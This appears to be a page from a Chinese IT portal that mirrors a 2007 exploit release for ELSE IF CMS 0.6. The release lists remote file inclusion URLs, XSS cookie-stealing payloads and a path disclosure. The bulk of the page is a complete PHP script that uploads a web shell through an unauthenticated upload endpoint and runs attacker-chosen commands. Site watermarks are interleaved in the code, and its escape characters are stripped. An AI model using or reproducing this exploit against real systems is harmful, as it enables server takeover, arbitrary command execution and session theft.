网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > Exploit > ELSE IF CMS 0.6 Multiple Remote Vulnerabilities / Exploit  

ELSE IF CMS 0.6 Multiple Remote Vulnerabilities / Exploit

2007-10-11  作者:bitsCN整理  来源:中国网管联盟  点评 投稿 收藏

ELSEIF CMS
Tested on "Else If version Beta 0.6"

网管下载dl.bitscn.com

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net

网管朋友网www_bitscn_net

These Are Examples ..
iam tiered fetching the injected files :)
Remote File inclusion
elseif/contenus.php?contenus=[Shell]
elseif/utilisateurs/votes.php?tpelseifportalrepertoire=[Shell]
elseif/utilisateurs/espaceperso.php?tpelseifportalrepertoire=[Shell]
elseif/utilisateurs/enregistrement.php?tpelseifportalrepertoire=[Shell]
elseif/utilisateurs/commentaire.php?tpelseifportalrepertoire=[Shell]
elseif/utilisateurs/coeurusr.php?tpelseifportalrepertoire=[Shell]
elseif/moduleajouter/articles/fonctions.php?tpelseifportalrepertoire=[Shell]
elseif/moduleajouter/articles/usrarticles.php?corpsdesign=[Sh3ll]
elseif/moduleajouter/depot/usrdepot.php?corpsdesign[Sh3ll]
elseif/moduleajouter/depot/fonctions.php?tpelseifportalrepertoire=[Shell]
Remote File Upload Ability
elseif/externe/swfupload/upload.php
Xss
example
elseif/utilisateurs/vousetesbannis.php?repertimage="><script>alert(document.cookie);</script><"

网管联盟bitsCN@com

elseif/utilisateurs/votesresultats.php?elseifvotetxtresultatduvote=<script>alert(document.cookie);</script>
elseif/moduleajouter/depot/adminforum.php?elseifforumtxtmenugeneraleduforum=<script>alert(document.cookie);</script>
Full Path
elseif/utilisateurs/votesresultats.php
Upload Exploits:
#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/*   ELSE IF CMS Multiple vulnerabilities
/*  This exploit should allow you to Upload Shell ..
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
echo('
/**********************************************/
/*       ELSEIF CMS Shell Upload Exploit         */
/*    by HACKERS PAL <security@soqor.net>     */
中国网管联盟bitsCN.com

/*         site: http://www.soqor.net         */');
if ($argc<4) {
print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host path cmd
/* Example:                                   */
/*    php '.$argv[0].' localhost /freewps/ id
/**********************************************/
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
         Function get_page($url)
网管有家www.bitscn.net

         {
                  if(function_exists("file_get_contents"))
                  {
                       $contents = file_get_contents($url);
                          }
                          else
                          {
                              $fp=fopen("$url","r");
网管联盟bitsCN@com

                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }
网管朋友网www_bitscn_net

                                  }
                       return $contents;
         }
function connect($packet)
{
  global $host, $port, $html;
    $con=fsockopen(gethostbyname($host),$port);
    if (!$con)
    {
      echo '[-] Error - No response from '.$host.':'.$port; die;
    }
  fputs($con,$packet);
    $html='';
    while ((!feof($con)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($con,1); 网管u家u.bitscn@com
    }
      GLOBAL $html;
  fclose($con);
}
$i=0;
$data="";
function add_data($name,$value,$type="no",$filename)
{
         GLOBAL $data,$i;
if($type=="file")
{
$data.="-----------------------------7d62702f250530
Content-Disposition: form-data; name="$filename"; filename="$name";
Content-Type: text/plain
$value
";
}
elseif($type=="init")
{
$data.="-----------------------------7d62702f250530--";
}
elseif($type=="clean")
{
$data="";
}
else
{
$data.="-----------------------------7d62702f250530
Content-Disposition: form-data; name="$name";
Content-Type: text/plain
$value
";
}

网管网www_bitscn_com

}
$host=$argv[1];
$path=$argv[2];
$cmd=$argv[3];
$port=80;
$cmd=urlencode($cmd);
$p='http://'.$host.':'.$port.$path;
Echo "n[+] Trying to Upload File";
$cookie="Master=HACKERS20%PAL";
$contents='<?php
$cmd=($_GET[cmd])?$_GET[cmd]:$_POST[cmd];
system($cmd);
?>';
add_data("soqor.php",$contents,"file","Filedata");
add_data('','',"init");
$packet="POST ".$p."elseif/externe/swfupload/upload.php?&-269001946=1&-834358190=1 HTTP/1.0rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*rn";
$packet.="Referer: http://".$host.$path."profile.php?mode=editprofilern";
$packet.="Accept-Language: itrn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530rn";

网管朋友网www_bitscn_net

$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: ".$cookie."rnrn";
$packet.=$data;
connect($packet);
$dir=$p."elseif/image/logodusite/soqor.php";
       $httml = get_page($dir);
if (eregi("Cannot execute a blank command",$httml))
{
   echo "n[+] Successfully uploaded ...n[+] Go To http://".$p."?cmd=$cmdn[+] For your own commands.. n[+] The Result Of The Commandn";
      Echo get_page($p."upload/soqor.php?cmd=".$cmd);
}
else
{
   echo "n[-] Unable to Upload Filen[-] Exploit Failed"; 中国网管论坛bbs.bitsCN.com
}
   echo ("n/*         Visit us : WwW.SoQoR.NeT           */n/**********************************************/");
?>
# WwW.SoQoR.NeT
网管bitscn_com

TAGs     packet.   cmd   Shell   tpelseifportalrepertoire   Upload      
 上一篇:CMS Creamotion (securite.php) Remote File Inclusion Exploit   下一篇:Joomla panoramic component 1.0 Remote File Inclusion Vulnerability
ELSE IF CMS 0.6 Multiple Remote Vulnerabilities / Exploit 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: